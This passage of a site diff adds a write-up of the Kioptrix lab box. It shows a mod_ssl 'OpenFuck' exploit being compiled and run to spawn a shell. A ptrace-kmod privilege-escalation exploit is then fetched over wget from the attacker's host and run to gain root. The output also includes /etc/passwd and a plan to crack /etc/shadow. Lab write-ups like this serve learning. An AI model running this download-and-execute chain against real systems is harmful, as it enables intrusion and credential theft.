    +radvd:​x:75:75:radvd user:/:/bin/false
    +postgres:​x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
    +apache:​x:48:48:Apache:/var/www:/bin/false
    +squid:​x:23:23::/var/spool/squid:/dev/null
    +pcap:​x:77:77::/var/arpwatch:/bin/nologin
    +john:​x:500:500::/home/john:/bin/bash
    +harold:​x:501:501::/home/harold:/bin/bash
    +

    mod_ssl #

    Unlike the Samba vulnerability, mod_ssl requires a bit more work. We can either download the source code from the exploit database link above, or we can use searchsploit

    searchsploit -p 47080
    +

    This should return the path to the location of the source code on our system. Once we make a copy in our current directory, we can look inside for a hints on how to get it operational.

    /*
    + * OF version r00t VERY PRIV8 spabam
    + * Version: v3.0.4 
    + * Requirements: libssl-dev    ( apt-get install libssl-dev )
    + * Compile with: gcc -o OpenFuck OpenFuck.c -lcrypto
    + * objdump -R /usr/sbin/httpd|grep free to get more targets
    + * #hackarena irc.brasnet.org
    + * Note: if required, host ptrace and replace wget target
    + */
    +

    According to the comments, all we need to do is apt install libssl-dev, then compile the source code with gcc -o OpenLuck <filename> -lcrypto.

    The installation and compilation goes pretty smoothly. Once that is complete, we can run the binary with no flags or options to get an idea of the syntax.

    One of the parameters is the target, its depends on what linux and apache version we have.

    Our box has two possible choices:

    • “RedHat Linux 7.2 (apache-1.3.20-16)1”: 0x6a
    • “RedHat Linux 7.2 (apache-1.3.20-16)2”: 0x6b

    Using the first option didn’t seem to work for me so 0x6b it is 😃.

    ┌──(kali㉿kali)-[~/Documents/Kioptrix]
    +└─$ ./OpenLuck 0x6b 10.0.2.4 443 -c 46
    +
    +*******************************************************************
    +* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
    +*******************************************************************
    +* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
    +* #hackarena  irc.brasnet.org                                     *
    +* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
    +* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
    +* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
    +*******************************************************************
    +
    +Connection... 46 of 46
    +Establishing SSL connection
    +cipher: 0x4043808c   ciphers: 0x80f8068
    +Ready to send shellcode
    +Spawning shell...
    +bash: no job control in this shell
    +bash-2.05$ 
    +d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo 
    +--14:46:25--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
    +           => `ptrace-kmod.c'
    +Connecting to dl.packetstormsecurity.net:443... 
    +dl.packetstormsecurity.net: Host not found.
    +gcc: ptrace-kmod.c: No such file or directory
    +gcc: No input files
    +rm: cannot remove `ptrace-kmod.c': No such file or directory
    +bash: ./exploit: No such file or directory
    +bash-2.05$ wget http://10.0.2.15:8000/ptrace-kmod.c       
    +wget http://10.0.2.15:8000/ptrace-kmod.c
    +--14:48:20--  http://10.0.2.15:8000/ptrace-kmod.c
    +           => `ptrace-kmod.c'
    +Connecting to 10.0.2.15:8000... connected!
    +HTTP request sent, awaiting response... 200 OK
    +Length: 3,921 [text/x-csrc]
    +
    +    0K ...                                                   100% @   1.87 MB/s
    +
    +14:48:20 (957.28 KB/s) - `ptrace-kmod.c' saved [3921/3921]
    +bash-2.05$ gcc -o exploit ptrace-kmod.c -B /usr/bin/bash
    +gcc -o exploit ptrace-kmod.c -B /usr/bin/bash
    +gcc: file path prefix `/usr/bin/bash' never used
    +bash-2.05$ ./exploit
    +./exploit
    +[+] Attached to 1166
    +[+] Waiting for signal
    +[+] Signal caught
    +[+] Shellcode placed at 0x4001189d
    +[+] Now wait for suid shell...
    +whoami
    +root
    +cat /etc/passwd
    +root:​x:0:0:root:/root:/bin/bash
    +bin:​x:1:1:bin:/bin:/sbin/nologin
    +daemon:​x:2:2:daemon:/sbin:/sbin/nologin
    +adm:​x:3:4:adm:/var/adm:/sbin/nologin
    +lp:​x:4:7:lp:/var/spool/lpd:/sbin/nologin
    +sync:​x:5:0:sync:/sbin:/bin/sync
    +shutdown:​x:6:0:shutdown:/sbin:/sbin/shutdown
    +halt:​x:7:0:halt:/sbin:/sbin/halt
    +mail:​x:8:12:mail:/var/spool/mail:/sbin/nologin
    +news:​x:9:13:news:/var/spool/news:
    +uucp:​x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    +operator:​x:11:0:operator:/root:/sbin/nologin
    +games:​x:12💯games:/usr/games:/sbin/nologin
    +gopher:​x:13:30:gopher:/var/gopher:/sbin/nologin
    +ftp:​x:14:50:FTP User:/var/ftp:/sbin/nologin
    +nobody:​x:99:99:Nobody:/:/sbin/nologin
    +mailnull:​x:47:47::/var/spool/mqueue:/dev/null
    +rpm:​x:37:37::/var/lib/rpm:/bin/bash
    +xfs:​x:43:43:X Font Server:/etc/X11/fs:/bin/false
    +rpc:​x:32:32:Portmapper RPC user:/:/bin/false
    +rpcuser:​x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
    +nfsnobody:​x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
    +nscd:​x:28:28:NSCD Daemon:/:/bin/false
    +ident:​x:98:98:pident user:/:/sbin/nolcat /etc/passwd
    +ogin
    +radvd:​x:75:75:radvd user:/:/bin/false
    +postgres:​x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
    +apache:​x:48:48:Apache:/var/www:/bin/false
    +squid:​x:23:23::/var/spool/squid:/dev/null
    +pcap:​x:77:77::/var/arpwatch:/bin/nologin
    +john:​x:500:500::/home/john:/bin/bash
    +harold:​x:501:501::/home/harold:/bin/bash
    +

    You might have seen that intially I didn’t have root access, the mod_ssl exploit usually gets root access using another ptrace_kmod exploit, however since the host box wasn’t connected to the internet the file couldn’t be downloaded.

    This meant I had to host the file on Kali with python (python3 -m http.server) and download the file from the host.

    Once downloaded, it was as simple as compiling and running the file to gain root access.

    Post Exploitation #

    At this point, I haven’t really learn’t much about the post exploitation phase, however an idea I had would be to grab the /etc/shadow file and spend time cracking the hashes so next time we might not have to go through the whole exploitation phase.

    Conclusion #

    View Notes
    \ No newline at end of file diff --git a/writeups/page/1/index.html b/writeups/page/1/index.html new file mode 100644 index 0000000..dc7abf6 --- /dev/null +++ b/writeups/page/1/index.html @@ -0,0 +1,2 @@ +https://your_domain.com/writeups/ + \ No newline at end of file